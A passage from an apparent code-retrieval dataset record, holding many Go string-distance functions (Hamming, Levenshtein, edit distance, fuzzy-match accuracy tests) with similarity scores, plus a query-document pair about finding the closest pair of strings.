GetStringChars(env *C.JNIEnv, str C.jstring, isCopy *C.jboolean) *C.jchar {\n\treturn C._GoJniGetStringChars(env, str, isCopy)\n}", "func Distance(a, b string) (int, error) {\n\taRunes := []rune(a)\n\tbRunes := []rune(b)\n\n\tif len(aRunes) != len(bRunes) {\n\t\treturn 0, errors.New(\"dna strands have different lengths\")\n\t}\n\n\tdistance := 0\n\tfor idx := range aRunes {\n\t\tif aRunes[idx] != bRunes[idx] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func EditDistance(a, b string) int {\n\t// Convert strings to rune array to handle no-ASCII characters\n\truneA := []rune(a)\n\truneB := []rune(b)\n\n\t// Compare rune lengths\n\tif len(runeA) != len(runeB) {\n\t\treturn 0\n\t}\n\n\t// Check equality of types\n\tif utils.Equal(runeA, runeB) {\n\t\treturn 0\n\t}\n\n\tvar counter int\n\tfor i, e := range runeA {\n\t\tif e != runeB[i] {\n\t\t\tcounter++\n\t\t}\n\t}\n\n\treturn counter\n}", "func (cm *ClosestMatch) AccuracyMutatingLetters() float64 {\n\trand.Seed(1)\n\tpercentCorrect := 0.0\n\tnumTrials := 0.0\n\n\tfor wordTrials := 0; wordTrials < 200; wordTrials++ {\n\n\t\tvar testString, originalTestString string\n\t\ttestStringNum := rand.Intn(len(cm.ID))\n\t\ti := 0\n\t\tfor id := range cm.ID {\n\t\t\ti++\n\t\t\tif i != testStringNum {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\toriginalTestString = cm.ID[id].Key\n\t\t\tbreak\n\t\t}\n\t\ttestString = originalTestString\n\n\t\t// letters to replace with\n\t\tletters := \"abcdefghijklmnopqrstuvwxyz\"\n\n\t\tchoice := rand.Intn(3)\n\t\tif choice == 0 {\n\t\t\t// replace random letter\n\t\t\tii := rand.Intn(len(testString))\n\t\t\ttestString = testString[:ii] + string(letters[rand.Intn(len(letters))]) + testString[ii+1:]\n\t\t} else if choice == 1 {\n\t\t\t// delete random letter\n\t\t\tii := rand.Intn(len(testString))\n\t\t\ttestString = testString[:ii] + testString[ii+1:]\n\t\t} else {\n\t\t\t// add random letter\n\t\t\tii := rand.Intn(len(testString))\n\t\t\ttestString = testString[:ii] + string(letters[rand.Intn(len(letters))]) + testString[ii:]\n\t\t}\n\t\tclosest := cm.Closest(testString)\n\t\tif closest == originalTestString {\n\t\t\tpercentCorrect += 1.0\n\t\t} else {\n\t\t\t//fmt.Printf(\"Original: %s, Mutilated: %s, Match: %s\\n\", originalTestString, testString, closest)\n\t\t}\n\t\tnumTrials += 1.0\n\t}\n\n\treturn 100.0 * percentCorrect / numTrials\n}", "func Distance(a, b string) (int, error) {\n\t// Check both strands are equal length\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"not possible to calculate hamming distance between strands of different lengths\")\n\t}\n\n\t// Loop through the strings and compare each char\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func letterePosizioneCorretta(str1, str2 string) (int, int) {\n\tvar subSli1, subSli2 []rune\n\tr1 := []rune(str1)\n\tr2 := []rune(str2)\n\n\tvar count int\n\tfor i := 0; i < lenString; i++ {\n\t\tif r1[i] == r2[i] {\n\t\t\tcount++\n\t\t} else {\n\t\t\tsubSli1 = append(subSli1, r1[i])\n\t\t\tsubSli2 = append(subSli2, r2[i])\n\t\t}\n\t}\n\t\n\tvar count2 int\n\tfor _,r := range subSli1 {\n\t\tfor i := 0; i < len(subSli1); i++ {\n\t\t\tif r == subSli2[i] {\n\t\t\t\tcount2++\n\t\t\t\tbreak\n\t\t\t}\n\t\t} \n\t}\t\t\n\treturn count, count2\n}", "func Distance(a, b string) (int, error) {\n\tvar lenA, lenB int\n\tlenA = len(a)\n\tlenB = len(b)\n\tlenC := len(a)\n\t_ = lenC\n\n\tconst x = 3\n\n\tvar (\n\t\tlenD int\n\t\tlenE = 4\n\t)\n\t_ = lenD\n\t_ = lenE\n\t_ = x\n\n\tif lenA != lenB {\n\t\treturn -1, &NotEqualLengthError{}\n\t}\n\n\tif lenA == 0 {\n\t\treturn 0, nil\n\t}\n\n\tvar diff int\n\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\tdiff++\n\t\t}\n\t}\n\n\treturn diff, nil\n\n}", "func Distance(a, b string) (int, error) {\n\t// If a and b has dissimilar then raise error.\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"a and b must have same length\")\n\t}\n\n\t// Initiate the hamming distance\n\tdistance := 0\n\n\t// Convert to rune to cover utf-8 string\n\tstrandA := []rune(a)\n\tstrandB := []rune(b)\n\n\t// Iterate two DNA strands and compare it by characters at the same index.\n\tfor index := range strandA {\n\t\tif strandA[index] != strandB[index] {\n\t\t\tdistance++\n\t\t}\n\t}\n\n\treturn distance, nil\n}", "func Distance(a, b string) (num int, err error) {\n\tif len(a) != len(b) {\n\t\treturn 0, fmt.Errorf(\"input strings have differing length\")\n\t}\n\n\tdefer func() {\n\t\tif rErr := recover(); rErr != nil {\n\t\t\tnum = 0\n\t\t\terr = fmt.Errorf(\"failed to read from reader\")\n\t\t}\n\t}()\n\n\taR := strings.NewReader(a)\n\tbR := strings.NewReader(b)\n\n\tfor aR.Len() > 0 {\n\t\tif readRune(aR) != readRune(bR) {\n\t\t\tnum++\n\t\t}\n\t}\n\treturn\n}", "func minDistance(word1 string, word2 string) int {\n\t// dp[i][j] 表示 word1 字符串的前 i 个字符编辑为 word2 字符串的前 j 个字符最少需要多少次操作\n\tm, n := len(word1), len(word2)\n\tdp := make([][]int, m+1)\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i] = make([]int, n+1)\n\t}\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i <= n; i++ {\n\t\tdp[0][i] = i\n\t}\n\t// 我们用 A = horse,B = ros 作为例子,来看一看是如何把这个问题转化为规模较小的若干子问题的:\n\t// 1、在单词 A 中插入一个字符:如果我们知道 horse 到 ro 的编辑距离为 a,那么显然 horse 到 ros 的编辑距离不会超过 a + 1。\n\t// 这是因为我们可以在 a 次操作后将 horse 和 ro 变为相同的字符串,只需要额外的 1 次操作,在单词 A 的末尾添加字符 s,\n\t// 就能在 a + 1 次操作后将 horse 和 ro 变为相同的字符串;\n\t// 2、在单词 B 中插入一个字符:如果我们知道 hors 到 ros 的编辑距离为 b,那么显然 horse 到 ros 的编辑距离不会超过 b + 1,原因同上;\n\t// 3、修改单词 A 的一个字符:如果我们知道 hors 到 ro 的编辑距离为 c,那么显然 horse 到 ros 的编辑距离不会超过 c + 1,原因同上\n\tfor i := 1; i <= m; i++ {\n\t\tfor j := 1; j <= n; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = minInt(minInt(dp[i-1][j], dp[i][j-1]), dp[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dp[m][n]\n}", "func Distance(a, b string) (int, error) {\n\tnewA := []rune(a)\n\tnewB := []rune(b)\n\n\tif len(newA) != len(newB) {\n\t\treturn 0, errors.New(\"DNA strands must be of equal length\")\n\t}\n\n\thammingDistance := 0\n\n\tfor k, v := range newA {\n\t\tif newB[k] != v {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\n\treturn hammingDistance, nil\n}", "func LevenschteinDistance(s1, s2 string, dp [][]int) int {\n\tvar c int\n\tfor i := 1; i <= len(s1); i++ {\n\t\tfor j := 1; j <= len(s2); j++ {\n\t\t\tif s1[i-1] == s2[j-1] {\n\t\t\t\tc = 0\n\t\t\t} else {\n\t\t\t\tc = 1\n\t\t\t}\n\t\t\tdp[i][j] = MinOfThree(dp[i-1][j-1]+c, dp[i-1][j]+1, dp[i][j-1]+1)\n\t\t}\n\t}\n\treturn dp[len(s1)][len(s2)]\n}", "func FindSubstring(A string , B []string ) []int {\n\n\twm := map[string]int{}\n\tmA := make([]int, 26)\n\tmB := make([]int, 26)\n\n\t//Find the total number of characters in B\n\tbTotalLen := 0\n\tfor i := range B {\n\t\tfor j := range B[i] {\n\t\t\t//Map for characters in list B\n\t\t\tmB[B[i][j] - 'a'] = mB[B[i][j] - 'a'] + 1\n\t\t\tbTotalLen++\n\t\t}\n\t\t//Map of words in list B\n\t\twm[B[i]]++\n\t}\n\n\tvar result []int\n\tfor i := 0; i < len(A); i++ {\n\t\t//Add current character from the substring\n\t\tmA[A[i] - 'a'] = mA[A[i] - 'a'] + 1\n\n\t\t//Skip till first position where solution can be found\n\t\tif i < bTotalLen- 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\t//if substring has same characters as list B\n\t\tif equals(mB, mA) {\n\t\t\t//Check if the substring has permutations of words from list B\n\t\t\tif hasAllWords(A[i -bTotalLen+ 1:i+1], copy(wm)) {\n\t\t\t\tresult = append(result, i -bTotalLen+ 1)\n\t\t\t}\n\t\t}\n\n\t\t//Remove first character from the substring\n\t\tp := A[i -bTotalLen+ 1]\n\t\tmA[p - 'a'] = mA[p - 'a'] - 1\n\t}\n\n\treturn result\n}", "func countCharacters(words []string, chars string) int {\n sum := 0\n m := [26]byte{}\n for _, v := range chars {\n m[v-'a']+=1\n }\n for _, v := range words {\n sum += len(v)\n m2 := [26]byte{}\n for _, j := range v {\n m2[j-'a']+=1\n if m2[j-'a'] > m[j-'a'] {\n sum -= len(v)\n break\n }\n }\n }\n return sum\n}", "func UniqueLetterString(str string) int {\n\tif len(str) == 0 {\n\t\treturn 0\n\t}\n\n\tstrAry := strings.Split(str, \"\")\n\n\tmax := 0\n\tstartPointer := 0\n\tendPointer := 0\n\tcounter := map[string]bool{}\n\n\tfor {\n\t\tif endPointer >= len(strAry) {\n\t\t\treturn max\n\t\t}\n\n\t\tendCharacter := strAry[endPointer]\n\t\tif counter[endCharacter] {\n\t\t\tcounter[strAry[startPointer]] = false\n\t\t\tstartPointer++\n\t\t} else {\n\t\t\tcounter[endCharacter] = true\n\t\t\tendPointer++\n\n\t\t\t// check whether currentLength is the max\n\t\t\tif (endPointer - startPointer) > max {\n\t\t\t\tmax = endPointer - startPointer\n\t\t\t}\n\t\t}\n\n\t}\n}", "func getCommonPrefix(p []string, f []int, lmin int) string {\n r := []rune(p[f[0]])\n newR := make([]rune, lmin)\n for j := 0; j < lmin; j++ {\n newR[j] = r[j]\n }\n return string(newR)\n}", "func main() {\n\t//fmt.Println(findSubstring(\"barfoothefoobarman\", []string{\"foo\", \"bar\"}))\n\t//fmt.Println(findSubstring(\"wordgoodgoodgoodbestword\", []string{\"word\", \"good\", \"best\", \"good\"}))\n\tfmt.Println(findSubstring(\"foobarfoobar\", []string{\"foo\", \"bar\"}))\n}", "func (cm *ClosestMatch) AccuracyMutatingWords() float64 {\n\trand.Seed(1)\n\tpercentCorrect := 0.0\n\tnumTrials := 0.0\n\n\tfor wordTrials := 0; wordTrials < 200; wordTrials++ {\n\n\t\tvar testString, originalTestString string\n\t\ttestStringNum := rand.Intn(len(cm.ID))\n\t\ti := 0\n\t\tfor id := range cm.ID {\n\t\t\ti++\n\t\t\tif i != testStringNum {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\toriginalTestString = cm.ID[id].Key\n\t\t\tbreak\n\t\t}\n\n\t\tvar words []string\n\t\tchoice := rand.Intn(3)\n\t\tif choice == 0 {\n\t\t\t// remove a random word\n\t\t\twords = strings.Split(originalTestString, \" \")\n\t\t\tif len(words) < 3 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdeleteWordI := rand.Intn(len(words))\n\t\t\twords = append(words[:deleteWordI], words[deleteWordI+1:]...)\n\t\t\ttestString = strings.Join(words, \" \")\n\t\t} else if choice == 1 {\n\t\t\t// remove a random word and reverse\n\t\t\twords = strings.Split(originalTestString, \" \")\n\t\t\tif len(words) > 1 {\n\t\t\t\tdeleteWordI := rand.Intn(len(words))\n\t\t\t\twords = append(words[:deleteWordI], words[deleteWordI+1:]...)\n\t\t\t\tfor left, right := 0, len(words)-1; left < right; left, right = left+1, right-1 {\n\t\t\t\t\twords[left], words[right] = words[right], words[left]\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttestString = strings.Join(words, \" \")\n\t\t} else {\n\t\t\t// remove a random word and shuffle and replace 2 random letters\n\t\t\twords = strings.Split(originalTestString, \" \")\n\t\t\tif len(words) > 1 {\n\t\t\t\tdeleteWordI := rand.Intn(len(words))\n\t\t\t\twords = append(words[:deleteWordI], words[deleteWordI+1:]...)\n\t\t\t\tfor i := range words {\n\t\t\t\t\tj := rand.Intn(i + 1)\n\t\t\t\t\twords[i], words[j] = words[j], words[i]\n\t\t\t\t}\n\t\t\t}\n\t\t\ttestString = strings.Join(words, \" \")\n\t\t\tletters := \"abcdefghijklmnopqrstuvwxyz\"\n\t\t\tif len(testString) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tii := rand.Intn(len(testString))\n\t\t\ttestString = testString[:ii] + string(letters[rand.Intn(len(letters))]) + testString[ii+1:]\n\t\t\tii = rand.Intn(len(testString))\n\t\t\ttestString = testString[:ii] + string(letters[rand.Intn(len(letters))]) + testString[ii+1:]\n\t\t}\n\t\tclosest := cm.Closest(testString)\n\t\tif closest == originalTestString {\n\t\t\tpercentCorrect += 1.0\n\t\t} else {\n\t\t\t//fmt.Printf(\"Original: %s, Mutilated: %s, Match: %s\\n\", originalTestString, testString, closest)\n\t\t}\n\t\tnumTrials += 1.0\n\t}\n\treturn 100.0 * percentCorrect / numTrials\n}", "func strDiffOne(s1 string, s2 string) bool {\r\n\tdiffs := 0\r\n\tfor i, val := range s1 {\r\n\t\tif val != rune(s2[i]) {\r\n\t\t\tdiffs = diffs + 1\r\n\t\t}\r\n\t}\r\n\tif diffs == 1 {\r\n\t\treturn true\r\n\t}\r\n\treturn false\r\n}", "func Levenshtein(target, input string) int { // nolint: funlen\n\t// Example\n\t// ref: https://www.datacamp.com/community/tutorials/fuzzy-string-python\n\t// ref optimized version in go: https://github.com/sajari/fuzzy/blob/master/fuzzy.go#L236\n\tlenTarget := len(target)\n\tlenInput := len(input)\n\tnumCols := lenTarget + 1\n\n\tdistance := make([]int, (lenTarget+1)*(lenInput+1))\n\n\t// log.Println(target, input)\n\n\tfor row := 0; row <= lenInput; row++ {\n\t\tfor col := 0; col <= lenTarget; col++ {\n\t\t\tif row == 0 {\n\t\t\t\tdistance[row*numCols+col] = col\n\t\t\t}\n\n\t\t\tif col == 0 {\n\t\t\t\tdistance[row*numCols+col] = row\n\t\t\t}\n\n\t\t\tif row > 0 && col > 0 {\n\t\t\t\tcost := 0\n\n\t\t\t\tif target[col-1] != input[row-1] {\n\t\t\t\t\tcost++\n\t\t\t\t}\n\n\t\t\t\t// Costs\n\t\t\t\t// - x is the current posizion\n\t\t\t\t//\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | substitution cost | insetion cost |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | delete cost | x |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\tdelCost := distance[(row-1)*numCols+col] + 1 // Cost of deletions\n\t\t\t\tinsCost := distance[row*numCols+(col-1)] + 1 // Cost of insertions\n\t\t\t\tsubCost := distance[(row-1)*numCols+(col-1)] + cost // Cost of substitutions\n\n\t\t\t\tmin := delCost\n\n\t\t\t\tif insCost < min {\n\t\t\t\t\tmin = insCost\n\t\t\t\t}\n\n\t\t\t\tif subCost < min {\n\t\t\t\t\tmin = subCost\n\t\t\t\t}\n\n\t\t\t\tdistance[row*numCols+col] = min\n\t\t\t}\n\t\t}\n\t}\n\n\t// log.Printf(\"%+v\", distance)\n\n\t// for row := 0; row <= lenInput; row++ {\n\t// \tfor col := 0; col <= lenTarget; col++ {\n\t// \t\tfmt.Printf(\"%d \", distance[row*numCols+col])\n\t// \t}\n\t// \tfmt.Println()\n\t// }\n\n\treturn distance[len(distance)-1]\n}", "func compare(wordOne, wordTwo string) (common string, isClose bool) {\n\tif len(wordOne) != len(wordTwo) {\n\t\treturn \"\", false\n\t}\n\n\tdiffIdx := -1\n\n\tfor i := range wordOne {\n\t\tif wordOne[i] == wordTwo[i] {\n\t\t\tcontinue\n\t\t}\n\t\tif diffIdx >= 0 {\n\t\t\treturn \"\", false\n\t\t}\n\t\tdiffIdx = i\n\t}\n\n\tif diffIdx < 0 {\n\t\treturn \"\", false\n\t}\n\n\treturn wordOne[:diffIdx] + wordOne[diffIdx+1:], true\n}", "func (*node) commonPrefix(a, b string) string {\n\ti, commonLen := 0, len(a)\n\tif len(b) < commonLen {\n\t\tcommonLen = len(b)\n\t}\n\tfor i < commonLen {\n\t\tra, _ := utf8.DecodeRuneInString(a[i:])\n\t\trb, size := utf8.DecodeRuneInString(b[i:])\n\t\tif ra != rb {\n\t\t\tbreak\n\t\t}\n\t\ti += size\n\t}\n\treturn a[:i]\n}", "func randChars(subsetLen int, characters CharsSet) CharsSet {\n\tres := make(CharsSet, subsetLen)\n\n\tfor i := range res {\n\t\tres[i] = characters[rand.Intn(len(characters))]\n\t}\n\n\tlog.Debug(\"Select \", subsetLen, \" chars from \", int(len(characters)), \" characters: \", string(characters), \" RESULT: \", string(res))\n\treturn res\n}" ]
[ "0.59213", "0.586457", "0.54798704", "0.54225004", "0.5396413", "0.53762954", "0.5330628", "0.52479345", "0.5213748", "0.5205578", "0.516797", "0.51484287", "0.5143828", "0.51179516", "0.5099333", "0.5096342", "0.5077844", "0.50602347", "0.50475836", "0.5029616", "0.5008665", "0.5004271", "0.49681798", "0.49677324", "0.49436182", "0.49424824", "0.49408817", "0.49343246", "0.4932552", "0.49192163", "0.49153098", "0.4888154", "0.48881054", "0.48836917", "0.48759186", "0.4853626", "0.48491693", "0.48398942", "0.4839774", "0.48356944", "0.48310062", "0.48201922", "0.4819787", "0.4819718", "0.48145765", "0.48060757", "0.48005232", "0.47493917", "0.47450733", "0.47440445", "0.4739952", "0.47387847", "0.47250336", "0.47226706", "0.4713673", "0.47035903", "0.4701491", "0.4692953", "0.4689458", "0.46781242", "0.46775174", "0.4674312", "0.46718743", "0.46572816", "0.46546566", "0.46480733", "0.46418077", "0.46375954", "0.4635413", "0.46334022", "0.46321905", "0.4630319", "0.46134457", "0.4608095", "0.46066067", "0.46032625", "0.4595352", "0.45946681", "0.4590892", "0.45888028", "0.4570177", "0.45701143", "0.4530885", "0.45228672", "0.45226952", "0.45163766", "0.45147407", "0.4503564", "0.45023847", "0.44970483", "0.44938374", "0.44863576", "0.4480098", "0.44576272", "0.4451126", "0.4435076", "0.44156292", "0.4415026", "0.44126743", "0.44100767" ]
0.6535537
0
FindShortestPair will take an array of strings and find the pair that is the shortest Levenshtein distance apart, returning a pairDist struct.
func FindShortestPair(blocks []string) pairDist { shortestPair := pairDist{ first: 0, second: 1, distance: LevenshteinDistance(blocks[0], blocks[1]), common: CommonChars(blocks[0], blocks[1]), } for i := 0; i < len(blocks)-2; i++ { for j := i + 1; j < len(blocks)-1; j++ { dist := LevenshteinDistance(blocks[i], blocks[j]) if dist < shortestPair.distance { shortestPair.first = i shortestPair.second = j shortestPair.distance = dist shortestPair.common = CommonChars(blocks[i], blocks[j]) } } } return shortestPair }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func FindShortestFromFile(file string) pairDist {\n\tscanner := MustScanFile(file)\n\tblocks := ToArray(scanner)\n\treturn FindShortestPair(blocks)\n}", "func arrayClosest(values []string, input string) string {\n\tbest := \"\"\n\tfor _, v := range values {\n\t\tif strings.Contains(input, v) && len(v) > len(best) {\n\t\t\tbest = v\n\t\t}\n\t}\n\treturn best\n}", "func GetClosestMatchingString(options []string, searchstring string) string {\n\t// tokenize all strings\n\treg := regexp.MustCompile(\"[^a-zA-Z0-9]+\")\n\tsearchstring = reg.ReplaceAllString(searchstring, \"\")\n\tsearchstring = strings.ToLower(searchstring)\n\n\tleastDistance := math.MaxInt32\n\tmatchString := \"\"\n\n\t// Simply find the option with least distance\n\tfor _, option := range options {\n\t\t// do tokensize the search space string too\n\t\ttokenizedOption := reg.ReplaceAllString(option, \"\")\n\t\ttokenizedOption = strings.ToLower(tokenizedOption)\n\n\t\tcurrDistance := smetrics.WagnerFischer(tokenizedOption, searchstring, 1, 1, 2)\n\n\t\tif currDistance < leastDistance {\n\t\t\tmatchString = option\n\t\t\tleastDistance = currDistance\n\t\t}\n\t}\n\n\treturn matchString\n}", "func LevenshteinDistance(first, second string) int {\n\ts1len := len(first)\n\ts2len := len(second)\n\n\tcolumn := make([]int, len(first)+1)\n\tfor y := 1; y <= s1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= s2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= s1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar incr int\n\t\t\tif first[y-1] != second[x-1] {\n\t\t\t\tincr = 1\n\t\t\t}\n\n\t\t\tcolumn[y] = minimum(column[y]+1, column[y-1]+1, lastkey+incr)\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\treturn column[s1len]\n}", "func levenshtein(a string, b string) int {\n\n\t// Handle empty string cases\n\tif len(a) == 0 {\n\t\treturn len(b)\n\t}\n\tif len(b) == 0 {\n\t\treturn len(a)\n\t}\n\n\t// DP matrix\n\tmat := make([][]int, len(a))\n\tfor i := range mat {\n\t\tmat[i] = make([]int, len(b))\n\t}\n\n\t// Initialize base cases\n\tfor i := 0; i < len(a); i++ {\n\t\tmat[i][0] = i\n\t}\n\tfor i := 0; i < len(b); i++ {\n\t\tmat[0][i] = i\n\t}\n\n\t// Fill out optimal edit distance matrix\n\tfor i := 1; i < len(a); i++ {\n\t\tfor j := 1; j < len(b); j++ {\n\t\t\tcost := 0\n\t\t\tif a[i] != b[j] {\n\t\t\t\tcost = 1\n\t\t\t}\n\n\t\t\t// Compute cheapest way of getting to this index\n\t\t\tabove := mat[i-1][j] + 1\n\t\t\tleft := mat[i][j-1] + 1\n\t\t\tdiag := mat[i-1][j-1] + cost\n\n\t\t\t// Sort and take idx 0 to get minimum\n\t\t\tarr := []int{above, left, diag}\n\t\t\tsort.Ints(arr)\n\t\t\tmin := arr[0]\n\t\t\tmat[i][j] = min\n\t\t}\n\t}\n\treturn mat[len(a)-1][len(b)-1]\n}", "func minDistance(word1 string, word2 string) int {\n\t// dp[i][j] 表示 word1 字符串的前 i 个字符编辑为 word2 字符串的前 j 个字符最少需要多少次操作\n\tm, n := len(word1), len(word2)\n\tdp := make([][]int, m+1)\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i] = make([]int, n+1)\n\t}\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i <= n; i++ {\n\t\tdp[0][i] = i\n\t}\n\t// 我们用 A = horse,B = ros 作为例子,来看一看是如何把这个问题转化为规模较小的若干子问题的:\n\t// 1、在单词 A 中插入一个字符:如果我们知道 horse 到 ro 的编辑距离为 a,那么显然 horse 到 ros 的编辑距离不会超过 a + 1。\n\t// 这是因为我们可以在 a 次操作后将 horse 和 ro 变为相同的字符串,只需要额外的 1 次操作,在单词 A 的末尾添加字符 s,\n\t// 就能在 a + 1 次操作后将 horse 和 ro 变为相同的字符串;\n\t// 2、在单词 B 中插入一个字符:如果我们知道 hors 到 ros 的编辑距离为 b,那么显然 horse 到 ros 的编辑距离不会超过 b + 1,原因同上;\n\t// 3、修改单词 A 的一个字符:如果我们知道 hors 到 ro 的编辑距离为 c,那么显然 horse 到 ros 的编辑距离不会超过 c + 1,原因同上\n\tfor i := 1; i <= m; i++ {\n\t\tfor j := 1; j <= n; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = minInt(minInt(dp[i-1][j], dp[i][j-1]), dp[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dp[m][n]\n}", "func (kd KeyDist) FindNearest(input string, list []string) (string, float64) {\n\tbestScore := math.Inf(1)\n\tvar result string\n\n\tfor _, ref := range list {\n\t\tscore := kd.CalculateDistance(input, ref)\n\t\tif score < bestScore {\n\t\t\tbestScore = score\n\t\t\tresult = ref\n\t\t}\n\t}\n\n\treturn result, bestScore\n}", "func minDistance(word1 string, word2 string) int {\n\tdp := make([][]int, len(word2)+1)\n\tfor i := range dp {\n\t\tdp[i] = make([]int, len(word1)+1)\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i < len(word1)+1; i++ {\n\t\tdp[0][i] = i\n\t}\n\tfor i := 1; i < len(word2)+1; i++ {\n\t\tfor j := 1; j < len(word1)+1; j++ {\n\t\t\tif word2[i-1] == word1[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = min(dp[i-1][j-1], min(dp[i-1][j], dp[i][j-1])) + 1\n\t\t\t\tif dp[i][j-1] < dp[i-1][j] {\n\t\t\t\t\tdp[i][j] = dp[i][j-1] + 1\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[len(word2)][len(word1)]\n}", "func LevenshteinDistance(s1, s2 string) int {\r\n\t//length of the string s1, s2\r\n\ts1Len, s2Len := utf8.RuneCountInString(s1), utf8.RuneCountInString(s2)\r\n\r\n\t//if the two strings equals\r\n\tif s1 == s2 {\r\n\t\treturn 0\r\n\t}\r\n\t//if a string is length 0\r\n\tif s1Len == 0 {\r\n\t\treturn s2Len\r\n\t}\r\n\tif s2Len == 0 {\r\n\t\treturn s1Len\r\n\t}\r\n\r\n\tv0 := make([]int, s2Len+1)\r\n\tv1 := make([]int, s2Len+1)\r\n\r\n\tfor i := 0; i < len(v0); i++ {\r\n\t\tv0[i] = i\r\n\t}\r\n\r\n\tfor i := 0; i < s1Len; i++ {\r\n\r\n\t\tv1[0] = i + 1\r\n\r\n\t\tfor j := 0; j < s2Len; j++ {\r\n\t\t\tcost := 1\r\n\t\t\tif s1[i] == s2[j] {\r\n\t\t\t\tcost = 0\r\n\t\t\t}\r\n\t\t\tv1[j+1] = minimum(v1[j]+1, v0[j+1]+1, v0[j]+cost)\r\n\t\t}\r\n\r\n\t\tfor j := 0; j < len(v0); j++ {\r\n\t\t\tv0[j] = v1[j]\r\n\t\t}\r\n\r\n\t}\r\n\treturn v1[s2Len]\r\n}", "func CalcLevenshteinDist(firstWord string, secondWord string, display bool) int {\n\ta := []rune(\" \" + firstWord)\n\tb := []rune(\" \" + secondWord)\n\ttable := tableSetUp(len(a), len(b))\n\tfor r := 1; r < len(a); r++ {\n\t\tfor c := 1; c < len(b); c++ {\n\t\t\t//find local minimum\n\t\t\tupperLeft := (*table)[r-1][c-1]\n\t\t\tabove := (*table)[r-1][c]\n\t\t\tleft := (*table)[r][c-1]\n\t\t\tmin := customMin(upperLeft, above, left)\n\n\t\t\tif a[r] == b[c] {\n\t\t\t\t(*table)[r][c] = min\n\t\t\t} else {\n\t\t\t\t(*table)[r][c] = min + 1\n\t\t\t}\n\t\t}\n\t}\n\tif display {\n\t\tdisplayDynamicTable(table, a, b)\n\t}\n\n\treturn (*table)[len(a) - 1][len(b) - 1]\n}", "func Levenshtein(target, input string) int { // nolint: funlen\n\t// Example\n\t// ref: https://www.datacamp.com/community/tutorials/fuzzy-string-python\n\t// ref optimized version in go: https://github.com/sajari/fuzzy/blob/master/fuzzy.go#L236\n\tlenTarget := len(target)\n\tlenInput := len(input)\n\tnumCols := lenTarget + 1\n\n\tdistance := make([]int, (lenTarget+1)*(lenInput+1))\n\n\t// log.Println(target, input)\n\n\tfor row := 0; row <= lenInput; row++ {\n\t\tfor col := 0; col <= lenTarget; col++ {\n\t\t\tif row == 0 {\n\t\t\t\tdistance[row*numCols+col] = col\n\t\t\t}\n\n\t\t\tif col == 0 {\n\t\t\t\tdistance[row*numCols+col] = row\n\t\t\t}\n\n\t\t\tif row > 0 && col > 0 {\n\t\t\t\tcost := 0\n\n\t\t\t\tif target[col-1] != input[row-1] {\n\t\t\t\t\tcost++\n\t\t\t\t}\n\n\t\t\t\t// Costs\n\t\t\t\t// - x is the current posizion\n\t\t\t\t//\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | substitution cost | insetion cost |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | delete cost | x |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\tdelCost := distance[(row-1)*numCols+col] + 1 // Cost of deletions\n\t\t\t\tinsCost := distance[row*numCols+(col-1)] + 1 // Cost of insertions\n\t\t\t\tsubCost := distance[(row-1)*numCols+(col-1)] + cost // Cost of substitutions\n\n\t\t\t\tmin := delCost\n\n\t\t\t\tif insCost < min {\n\t\t\t\t\tmin = insCost\n\t\t\t\t}\n\n\t\t\t\tif subCost < min {\n\t\t\t\t\tmin = subCost\n\t\t\t\t}\n\n\t\t\t\tdistance[row*numCols+col] = min\n\t\t\t}\n\t\t}\n\t}\n\n\t// log.Printf(\"%+v\", distance)\n\n\t// for row := 0; row <= lenInput; row++ {\n\t// \tfor col := 0; col <= lenTarget; col++ {\n\t// \t\tfmt.Printf(\"%d \", distance[row*numCols+col])\n\t// \t}\n\t// \tfmt.Println()\n\t// }\n\n\treturn distance[len(distance)-1]\n}", "func findShort(s string) int {\n\tarrayStr := strings.Split(s, \" \")\n\tvar arrayLen []int\n\tfor _, str := range arrayStr {\n\t\tarrayLen = append(arrayLen, len(str))\n\t}\n\tmin := arrayLen[0]\n\tfor _, value := range arrayLen {\n\t\tif value < min {\n\t\t\tmin = 